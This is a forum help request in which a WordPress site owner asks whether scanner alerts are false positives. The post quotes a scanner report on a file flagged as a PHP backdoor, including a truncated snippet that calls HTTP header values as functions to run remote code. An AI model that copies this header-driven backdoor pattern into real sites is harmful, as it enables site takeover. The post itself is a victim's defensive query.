Possible malware

My site recent malware scans keep reporting multiple files as being infected. All of them are of the same nature and are reported as some form of backdoor. See below. Is there something I can do to either stop this, or are these false positives ?

Filename: load.tool.php
File Type: Not a core, theme, or plugin file from wordpress.org.
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans.

The matched text in this file is: <?php\x0a\x0a$_HEADERS = getallheaders();\x0aif (isset($_HEADERS[‘If-Modified-Since’])) {\x0a $_admin_l_init = $_HEADERS[‘If-Modified-Since’](”, $_HEADERS[‘Clear-Site-Data’]($_HEADERS[‘Server-Timing’]));\x0a …

The issue type is: Backdoor:PHP/rce.if-modified.9373
Description: Injected malware code used for remote code execution and site takeovers

The page I need help with: [log in to see the link]